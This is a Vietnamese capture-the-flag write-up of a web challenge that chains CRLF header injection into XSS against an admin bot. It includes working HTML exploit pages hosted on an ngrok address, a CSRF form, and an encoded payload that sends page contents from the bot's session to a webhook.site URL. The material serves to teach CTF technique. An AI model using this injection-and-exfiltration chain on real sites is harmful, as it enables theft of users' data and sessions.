Web | Bookmarks

  • Phân tích file app.py, ta có thể thấy bug CLRF injection nằm ở hàm dashboard và hoàn toàn có thể tận dụng bug này để gây ra XSS.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@app.route("/dashboard", methods=['GET'])
def dashboard():
user_id = session.get("user_id")
if not user_id:
return "User not logged", 400

username = None
with sqlite3.connect(DB_NAME) as conn:
cur = conn.execute("SELECT username FROM users WHERE id = ?", (user_id,))
user = cur.fetchone()
username = user[0] if user else None

rendered = render_template("dashboard.html", username=username)
response = make_response(rendered)
response.headers['X-User-' + username] = user_id

# Future logic for saving books of each user
# ...

return response
  • Biến username được truyền thẳng vào header X-User-<username> rồi response về phía người dùng.
  • Ta có thể đăng ký tài khoản với username là test:+test%0d%0a%0d%0a<script>alert(1)</script> và khi vào /dashboard thì response phản hồi sẽ trông như thế này
1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Server: Werkzeug/3.1.4 Python/3.12.12
Date: Sun, 28 Dec 2025 07:21:33 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 911
X-User-test: test

<script>alert(1)</script>: 5
Content-Security-Policy: default-src 'none'; style-src 'self';
Vary: Cookie
Connection: close

  • Như vậy, ta có thể thực thi được XSS nhờ vào bug CRLF Injection, tuy nhiên, điều quan trọng là làm sao để ta có thể thực thi được XSS trên trình duyệt của bot và lấy được flag, hãy cùng phân tích file bot.py, hàm xử lý chính cho việc bot cắn link là visit_web:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
FLAG = os.getenv("FLAG", "ctf{REDACTED}")
BOT_VISIT = os.getenv('WEB_ORIGIN', 'http://web')

def visit_web(url):
with sync_playwright() as p:
browser = p.chromium.launch(headless=True)
context = browser.new_context()
page = context.new_page()

try:
# Visit your URL first, to avoid any attack
print(f"[BOT] Visiting {url}")
sys.stdout.flush()
page.goto(url)
time.sleep(5)

# Register and log as admin
print("[BOT] Login & registering")
sys.stdout.flush()
page.goto(BOT_VISIT + '/register')
page.fill("input[name='username']", FLAG)
page.fill("input[name='password']", "password")
page.click("input[type='submit']")
time.sleep(1)
page.goto(BOT_VISIT + '/login')
page.fill("input[name='username']", FLAG)
page.fill("input[name='password']", "password")
page.click("input[type='submit']")
time.sleep(1)

# Do some admin stuff
print("[BOT] Admin stuff")
sys.stdout.flush()
time.sleep(5)
except Exception as e:
print(f"[BOT] Failed to visit {url}: {e}")
sys.stdout.flush()
print("[BOT] Finished")
sys.stdout.flush()
context.close()
browser.close()
  • Ban đầu bot sẽ vào link độc hại của ta trước, rồi sau 5s từ trang hiện tại bot mới đăng ký –> đăng nhập với username là FLAG rồi sau 5s sẽ đóng trình duyệt.

  • Với hành vi này của bot đã khiến việc ta lấy flag trở nên khó khăn hơn nhiều, tuy nhiên không phải là không thế.

  • Sau khi đào sâu nghiên cứu thì mình thấy có thể tận dụng các tricks trong js như window.open(), window.opener và setTimeout():

    • window.open(url): sẽ mở một trang mới để truy cập url
    • window.opener: đại diện cho trang cha của trang hiện tại (tức là trang đã mở ra trang hiện tại) qua đó có thể truy cập DOM của trang cha từ trang hiện tại nếu cùng origin.
    • setTimeout(<function>,<time>): hẹn giờ thực thi cho hàm được truyền vào.
  • Mình sẽ tạo một thư mục exploit rồi dựng một server attacker gồm 3 file:

  1. index.html
1
2
3
4
<script>
// http://0.tcp.ap.ngrok.io:15469
w1 = window.open('http://0.tcp.ap.ngrok.io:15469/exploit.html');
</script>
  • index.html sẽ mở một trang mới (w1) và truy cập vào exploit.html
  1. exploit.html
1
2
3
4
<script>
w2 = window.open('http://0.tcp.ap.ngrok.io:15469/fake_login.html');
setTimeout(() => w2.location = 'http://web/dashboard', 1500)
</script>
  • exploit.html sẽ tiếp tục mở thêm một trang mới nữa (w2) là fake_login.html
  • Sau 1.5s, sẽ cho trang (w2) chuyển hướng về http://web/dashboard (nơi chứa lỗ hổng xss).
  1. fake_login.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://web/login" method="POST">
<input type="hidden" name="username" value="win&#58;&#32;win&#13;&#10;&#13;&#10;&lt;script&gt;setTimeout&#40;&#40;&#41;&#32;&#61;&gt;&#32;&#123;opener&#46;location&#32;&#61;&#32;&apos;http&#58;&#47;&#47;web&#47;dashboard&apos;&#125;&#44;&#32;4000&#41;&#59;setTimeout&#40;&#40;&#41;&#32;&#61;&gt;&#32;&#123;location&#61;&apos;https&#58;&#47;&#47;webhook&#46;site&#47;d240fd99&#45;7fbb&#45;43a8&#45;af09&#45;1c9ca7759cd2&#63;c&#61;&apos;&#43;opener&#46;document&#46;getElementsByTagName&#40;&apos;p&apos;&#41;&#91;0&#93;&#46;textContent&#125;&#44;&#32;4500&#41;&lt;&#47;script&gt;" />
<input type="hidden" name="password" value="123" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
  • Trang này thì mình nhờ burp pro generate với phần payload ở username là:
1
win:+win%0d%0a%0d%0a<script>setTimeout(()+=>+{opener.location+=+'http://web/dashboard'},+4000);setTimeout(()+=>+{location='https://webhook.site/d240fd99-7fbb-43a8-af09-1c9ca7759cd2?c='%2bopener.document.getElementsByTagName('p')[0].textContent},+4500)</script>
  • Khi được phản hồi về thì nó sẽ trông thế này:
1
2
3
win: win

<script>setTimeout(() => {opener.location = 'http://web/dashboard'}, 4000);setTimeout(() => {location='https://webhook.site/d240fd99-7fbb-43a8-af09-1c9ca7759cd2?c='+opener.document.getElementsByTagName('p')[0].textContent}, 4500)</script>
  • payload 1:
1
setTimeout(() => {opener.location = 'http://web/dashboard'}, 4000)
  • payload này sau 4s sẽ khiến trang mở nó là exploit.html chuyển hướng về http://web/dashboard nhằm đợi cho cho bot login với flag thành công và vào đc trang /dashboard của bot.

  • payload 2:

1
setTimeout(() => {location='https://webhook.site/d240fd99-7fbb-43a8-af09-1c9ca7759cd2?c='+opener.document.getElementsByTagName('p')[0].textContent}, 4500)</script>
  • Sau 4s trên thì sau đó 0.5s nữa sẽ bắn flag từ trang /dashboard của bot về webhook của attacker.

  • Sơ lược lại các bước trên bằng sơ đồ dưới đây:

img